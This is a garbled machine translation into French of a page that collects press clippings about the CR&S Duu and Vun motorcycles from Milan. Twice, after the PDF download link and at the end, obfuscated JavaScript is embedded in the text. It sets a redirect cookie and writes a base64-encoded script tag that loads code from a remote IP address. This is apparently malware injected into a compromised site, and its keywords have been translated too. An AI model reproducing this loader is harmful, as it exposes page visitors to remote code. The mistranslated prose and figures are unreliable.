technicien responsable du développement. Le choix du moteur est le Rotax Bombardier 650, apprécié sur la BMW F grâce à sa vocation routière et sa fiabilité . Conçu comme un mono de course, Le Vun prouve un animal à proximité mixte, également excellent pour une utilisation en ville . Le design mélange les lignes classiques du cadre tubulaire avec le corps en aluminium moderne, lignes effilées et solutions technologiques. Chaque pièce est personnalisable, pour que le pilote puisse éprouver le plaisir de construire son propre Vun en choisissant des composants et en les peignant. Au bout du 2006 la production de masse commence, en quelques dizaines d'exemplaires par an, flanqué de prototypes de course. Récemment, les deux versions EvoluziÀ²n du mono da ont été ajoutées 652 cc. Prêt pour la course se développe 68 CV, tandis que le nurmÀ se contente de 54 cv un 7.000 se tourne. Toujours pas mal, en tenant compte du fait que le poids sec n'est que 135 le Chili… Vun parle milanais même dans la fiche technique, dans lequel le disque de frein flottant devient presse à balles à disque et la chaîne avec joints toriques cadÈna cont i anÈi de goma…
Le grand pari de CR&S semble gagné, la distribution s'élargit en Europe et aux États-Unis, mais les idées n'arrêtent pas de tourner. Celui de donner la suite inévitable à Vun, avec deux cylindres hors de la boîte et hors de la logique des grands nombres, était déjà dans l'esprit des constructeurs milanais en 2008. Jusqu'à, Crépaldi raconte, le Motor Bike Expo est la révélation de cette année: Â « Nous sommes l'OMM, Meccanotecnica l'atelier milanais qui importe le Wakan, ainsi que celle de Confederate, juste en face du Zodiac stand avec le nouveau bicylindre S X-Wedge&S. ensuite Wakan, X-Wedge, Confédéré, de… conduit!UNE".
L'histoire contient une figure conceptuelle pour Sela, stylistique et esthétique du nouveau bicylindre CR&S. au fond: un maxi Streetfighter sans précédent, moins élitiste confédéré, radical comme le Wakan et construit
s'appuyant sur l'expérience Vun. Le cœur du projet est le moteur X-Wedge, qui a l'exigence de base de ne pas être une imitation de la Harley-Davidson Twin Cam. Le V2 à 56°S&S C'est tout aussi énorme, mais plus
moderne et puissant, avec son 2.000 cc, les trois arbres à cames, injection électronique. Capable de 160
Nm de couple maximum juste au-dessus 3.000 se tourne. Des trucs de renversement, cependant Euro approuvé 3. Et considérant que le Duu devrait peser « seulement » € ?? 250 le Chili, comme une Harley Sportster 883…
Remarquez comment les nombres se reproduisent: deux cylindres, deux litres, deux sièges (vouloir). Et le grand tube qui caractérise le cadre en acier mixte. Les premières esquisses sont masquées par les superstructures optionnelles, mais il est clair que la beauté du Duu brille dans sa simplicité brutale. Nu et brut, conçu pour être conduit de front et sans trop d'effort, mais conçu pour frapper au creux de l'estomac. Encore
une fois forme, fonction et émotion se poursuivent dans un jeu d'équilibre. Viens la Vun, aussi le Duu C'est une histoire de luxure pour les motocyclistes adultes, évolué et exigeant. Qui veut peut-être retomber amoureux d'un vélo passionnant. Le philosophe Gilles Deleuze l'a dit, qu'"il n'y a pas de révolution sans investissement libidinal". Et sans, même les motos uniques ne sont pas construites, avec le soutien d'un niveau de créativité que les grandes maisons ne peuvent plus se permettre, étouffé par la prudence et la logique marketing. C'est un pari fascinant, tout pour jouer, mais à portée de main. Bien qu'il soit encore de niveau
de prototype, on sait déjà que le prix du Duu devrait fluctuer entre 19 et 20 mille euros.
Un peu plus qu'une Ducati Streetfighter S, en ligne avec le muscle V-Rod, moins qu'un V-Max
et une Harley-Davidson CVO.
Présentation du prototype à l'Eicma de cette année, voir la moto définitive au salon de l'automobile de Milan 2010. Production de la saison suivante: « Nous ne visons pas les grands nombres, nous sommes une petite entreprise avec des idées
clair » conclut Crepaldi. « Le cap des cent vélos par an signifierait atteindre le seuil de rentabilité et nous permettre une marge bénéficiaire, à réinvestir dans le développement de la prochaine moto CR&S». Traduit
librement en milanais: C'est minga de Duu senza Tri.
Lire l'article…
MAX 03 2010
MIRACLE À MILAN
Il s'appelle CR&S et l'arrière-pays est une petite entreprise avec une grande passion.
sa moto “doit être quelque chose de spécial”, Ils sont construits à la main et chacun d'eux est différent de l'autre. Voici son dernier bijou: nu, Douane, roadster? un peu’ tout.
Un hangar anonyme juste en dehors de la ville rurale . Il est une phrase qui “tatoué” sur chacun des vélos qui sortent de là “Ils disent à Milan, cont il coeur e cont’i man”. Traduit en italien signifie “fait à Milan, avec le cœur et les mains”, l'essence et la philosophie de CR&S, une petite entreprise fondée par Roberto Crepaldi passion viscérale pour deux roues. Crepaldi a des idées claires: chaque mouvement fait par CR&S doit être quelque chose de spécial et être différent des autres. Comme sa dernière création. Apportez la (“dû”) comme son nom l'indique il est la deuxième motion de l'histoire courte de CR&S, Il a un moteur énorme et explosif avec deux cylindres 1.916 cc et échappe aux définitions traditionnelles. Nu, roadster, Douane, combattant de rue? un peu’ toutes ces choses ensemble, mais le Duu est avant tout une œuvre d'art exclusive faite de métaux précieux et de matériaux raffinés moulés selon des formes que définir originale et fascinante est presque un euphémisme. De plus, chaque client peut personnaliser leur personnage en choisissant la construction, les composants du niveau de préparation châssis et le moteur. Les prix commencent à 20.000 euro, Mais en plus de l'argent que vous aurez à faire preuve de patience, parce que le CR&S sont réalisés à la main, une par une.
Stefano Bariggia
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AMD USA 01 2010
CR&S Motorcycles a utilisé l'EICMA’ salon de la moto à Milan, Italie, pour débuter son nouveau modèle prototype – le X-Wedge alimenté Duu.
Dans un premier temps être montré comme un concept bike, lorsque la Duu, conçu par Donato Cannatello, va en pleine production, chaque vélo sera construit à la main avec le client ayant le choix d'une gamme d'options techniques et esthétiques. Les options disponibles incluent un seul et / ou un module de base à deux places. “Nous pensons que ce sport cruiser Euro a le potentiel d'être une sorte d'équivalent américain à la Triumph Speed Triple, mais avec le style italien,” ledit Roberto Crepaldi, le directeur général de CR&S. “Duu est le bon nom pour ce modèle – c'est un bicylindre en V, le second élément du CR&famille S, il aura un moteur de deux litres, va peser 200 kilos, et transportera deux personnes. Que pourrions-nous cali autre le?! “La production commencera début 2011. Nous avons déjà commencé à tester sur route le vélo de développement, mais nous sommes tous très impatients d'avoir des retours du public.”
Nouvelles International Dealer 01 2010
Le dernier projet de Roberto Crepaldi, la Duu, est un grand double construit autour S refroidi par air&Américaine a fait 1916cc / 117ci de S Cycle 60 degré moteur bicylindre en V.
Montré comme concept bike à EICMA, Crepaldi dit le Duu sera un vélo modulaire construit, avec des options de configuration de client qu'il espère vendre à un prix de base de 20 000 €, avec un volume de production de quelques dizaines d'unités par an, et les premières livraisons ciblées pour 2011…
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faible tour 11 2009
la 2011 Il semble presque ici.
Une vague de modernisme rend le vol la petite grande maison à Settimo Milanese. CR&S se distingue déjà par l'originalité de leur streetfighter de près mixte et la spécificité de chaque pièce.
L'évolution logique du mono, essentiel et amusant, Ce sera double. il semble “solo” un vélo de concept, mais un chariot élévateur DUU a déjà parcouru plusieurs kilomètres; Les tests valident les choix techniques inhabituelles. Le jumeau X-Wedge est son cœur battant, un bicylindre en V “air” près de deux litres qui améliore la recherche S&S sur les schémas classiques de Harley-Davidson. L'angle des cylindres de 56 cours de degré annule les vibrations; distribution avec trois arbres à cames dans le carter et les courroies dentées assure une géométrie optimale, par l'intermédiaire de tiges courtes et des poussoirs hydrauliques. Figurant est le bruit mécanique, rendant possible l'homologation Euro 3 avec injection et des catalyseurs. Le pot d'échappement en acier inoxydable est étudiée par échappement QD pour centraliser les masses et de permettre une inclinaison latérale supérieure 40 degrés. Le potentiel de ce très grand jumeau est remarquable, même dans la configuration “code”: du moins 100 chevaux et 130 Newton / mètre de couple, mais le décaissement est complet à chaque régime. Changer de séparer 5 la 6 les relations et la chaîne primaire complète un groupe motopropulseur inséré dans une trame d'origine. Une grande partie de tuyau d'acier de la tête de direction et le lubrifiant contient; Il soutient de belles plaques latérales, usiné à partir de solide dans l'atelier de Rizoma, à laquelle elle est ancrée au moyen d'une section transversale tubulaire; le monobras. Toutes les propositions CR&S naissent dans le but de garantir le plaisir de conduire et le châssis Duu, un distillat d'extraction sportive Made in Italy, ne vous décevra pas . Les détails sont belles, en commençant par les plaques de guidage réalisées par Rizoma et des roues modulaires; freins Brembo et des suspensions de qualité permettent un réglage suffisant. La précision et l'agilité de la réactivité promettent de pilote , plis extrêmes et la manipulation, sans tomber dans l'extrême opposé de trop de chances “nerf”. Avec des dimensions proches de celles d'un XR1200 et le poids d'environ 237 kg à sec, grâce à l'extension infinie du moteur ça devrait être amusant, facile et exaspéré. Ces qualités sont ajoutés une philosophie modulaire pour configurer la moto en fonction de différents styles de conduite et de la vie, la qualité des composants, savoir-faire avec des garanties industrielles: facile à prévoir un intérêt immédiat autour de ce streetfighter. Un grand nombre de CR composants&S sont conçues sur mesure par Donato Cannatello par des entreprises italiennes comme Rhizome. L'originalité et raccords “sur mesure” devrait représenter un atout supplémentaire en faveur de DUU. Même le prix fixe promet d'être intéressant, environ 20.000 euro: proche de celui des VRSC et inférieur au nouveau V-Max… Combien de temps avant la 2011?
TÉLÉCHARGEZ LE PDF… fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}
Quelques couvertures consacrées à duu
COUREURS
EXERCE, MAIS PAS DE PIQUE
En vente dans un an au prix de base de 20 mille euros, DUU voir le dernier salon de Milan en tant que concept (et nous avons décrit un aperçu des Riders nombre 22) Il est l'un des rares propositions vraiment originales de ces derniers temps.
Le Milan CR&S qui lui a donné naissance est le même que le très léger monocylindre Vun: Roberto Crepaldi, Giorgio Sarti et John Cabassi, Les trois pilotes avant entrepreneurs, Ils ont mis l'accent sur une niche inexplorée mais intéressant. La Duu est une spéciale produite en petite série, modulaire et hautement personnalisable, avec du contenu exclusif de style américain et européen de la Confédération française Wakan, mais offert à une fraction du coût. conduit, deux Meneghino dialecte, parce que les deux cylindres sont le déplacement et (1.916 ce) Il est à côté de deux litres, et pourquoi, vouloir, le vélo PUE être à deux endroits et non pas comme la monoplace Vun. Ce maxi streetfighter est équipé du V2 de 56° X-Wedge de l'américain S&S, un fort monstre avec son 16 kgm de couple maximum de seulement trois mille révolutions. Le châssis est en acier inoxydable poli: une grande poutre qui agit également comme réservoir d'essence, avec plaques latérales en aluminium pour soutenir le bras oscillant unilatéral (toujours un gros tube d'acier incurvé) et le réservoir d'essence qui contient également la selle.
La conception est signée par Donato Cannatello, qui a travaillé pour Aprilia Bimota, dont le dispositif est placé sous le moteur de déchargement, Il a caché tous les piliers et créé une ligne minimaliste facilement modifiable en ajoutant, ou la suppression, un ensemble d'accessoires (y compris les sacoches ou un récipient au-dessus du réservoir) appendices fonctionnels et esthétiques. La selle peut être dans un ou deux endroits et il existe différentes solutions pour les phares et les finitions de surface. Malgré le grand moteur, le vélo est tout à fait compacte dans son genre et pèse autant qu'une Harley Sportster 883, parce DUU est fait pour être conduit non seulement ostentatoire. Un projet ambitieux, non dépourvue de résistances à surmonter, comme son expérience et la réputation du CR&S. Mais il faut dire que cette réalité est organisée, petit, comme une véritable industrie de la moto. (Maurizio Gissi)
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deux roues
Big Twin a Milano!
Après le double mono: d'une petite réalité artisanale ce deux litres débordant au style unique est né
par Riccardo Capacchione
…Diffusez-les sur Millennium, cont il coeur e cont i man’». Nous traduisons pour les non-milanais: « Made in Milan, avec le cœur et les mains ", E’ la phrase écrite sur les motos construites par CR&S Settimo Milanese. À ce jour, le seul modèle du catalogue était le Vun, La seule mince qui a maintenant une soeur, pas du tout rationalisée, Il a appelé DUU. En dialecte Milanese Vun signifie « un » en tant que cylindre, un lieu et « unique ». conduit, vous aurez compris, veut plutôt dire « deux » comme deux cylindres, deux sièges e… seulement, elle. Les clients du CR&S, en fait, ils peuvent commander leur moto en choisissant l'équipement, les composants de châssis, la préparation du moteur et bien sûr les colorations. Voilà pourquoi le prix varie beaucoup, à partir de la base de 20.000 euro. La philosophie de conception derrière les modèles CR&S est simple à énoncer, moins pour atteindre: le vélo doit être essentielle, l'ensemble du moteur et du châssis en vue, mais il doit aussi être un style, plutôt deux: celle du fabricant et le client que, comme mentionné, Il participe activement à la création de son propre mouvement. SE mangrove E’ porte? Gia ', Qu'est-ce que Duu? Il est un puissant bicylindre qui échappe aux définitions normales: coutume nue, roadster, combattant de rue? Difficile d'attribuer un genre spécifique. Mieux, simplement, décrire les caractéristiques techniques, vraiment unique,. Le châssis est construit à partir CR&S et est composé d'un acier allié géant tubulaire supérieur, rappelle le schéma utilisé par le spécialiste suisse Fritz Il; qui a une certaine’ les ressorts de rappel derrière , entre autres, Il porte le merveilleux Vincent 1967. Le grand tube principal de cadre Duu remplit également la fonction du réservoir de carburant, Un exemple de la stratégie du projet CR&S, ce qui tend à l'intégration maximale et une simplification de chaque composant. Dans la partie arrière de la structure est fermée par splendide plaques en alliage léger, obtenu à partir d'un dispositif de coupe « complète » forgé. Le bras oscillant unilatéral en treillis en tube d'acier est couplé à l'amortisseur latéral. les roues, autre CR exclusive&S, Ils sont splendides et en particulier l'arrière, cantilever montée avec un seul écrou central et disponible dans différentes conceptions des races. Les superstructures en fibre de verre sont rares et essentiels; vraiment inhabituel la solution pour le phare qui… ce n'est pas, remplacé par deux ensembles optiques latéraux logés dans les « branchies de requin » sur les côtés de la fourche, qui rappelle les traits stylistiques de Vun. Les voitures peuvent être DUU, comme celui que nous avons testé, mais des arrangements pour deux personnes et des déplacements sont prévus, avec des sacs et des accessoires spéciaux. MÈRE QUI POMPE E! Le moteur S&S X-Wedge domina la scena. Les deux tours colossales à ailettes des cylindres divergent de 56,25 ° et abritent les pistons à l'intérieur 105 alésage mm avec course longue 111 mm. Le schéma suit celui des moteurs Harley-Davidson, pour lequel le S&S a toujours produit des pièces spéciales, mais dans ce cas, c'est une toute nouvelle unité. Les têtes abritent deux grosses vannes (50,8 mm côté aspiration, 40,64 mm à l'échappement), parallèles entre elles et déplacées par des culbuteurs et des tiges reposant sur les trois arbres à cames, deux échappement et une aspiration partagée, situé au sous-sol. L'échange, séparé, il est un Baker à cinq vitesses. L'alimentation est injectée électroniquement, tandis que l'échappement catalysé, construit sur les spécifications CR&S, c'est sous le moteur, avec deux "bouches" latérales fantastiques. L'entraînement par chaîne primaire reprend le modèle Harley et se trouve sur le côté gauche. COUPLE POUR REMORQUE Nous avons beaucoup insisté pour tester le prototype, reste à développer, du Duu, mais ne vaut pas la peine. Le bicylindre, sans contre-arbres, impulsion, pendant cela, mais surtout il pousse avec une force impressionnante. Le pneu arrière gémit sous la décharge de kgm, le Duu bondit en avant et le pilote est bon de s'accrocher solidement au guidon. Une montée plus marquée de la selle aiderait à relâcher une partie de la poussée, diminuer la pression sur les bras. Le poids total n'est pas excessif, par rapport au déplacement, ed est bien distribué, ce qui rend le Duu plus maniable que prévu. Les quelques kilomètres en selle ne nous ont donné qu'une vague idée des performances de cette moto qui s'annonce passionnante, nous avons hâte de le presser correctement,.. "Restez à l'écoute", Nous vous tiendrons informé! fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}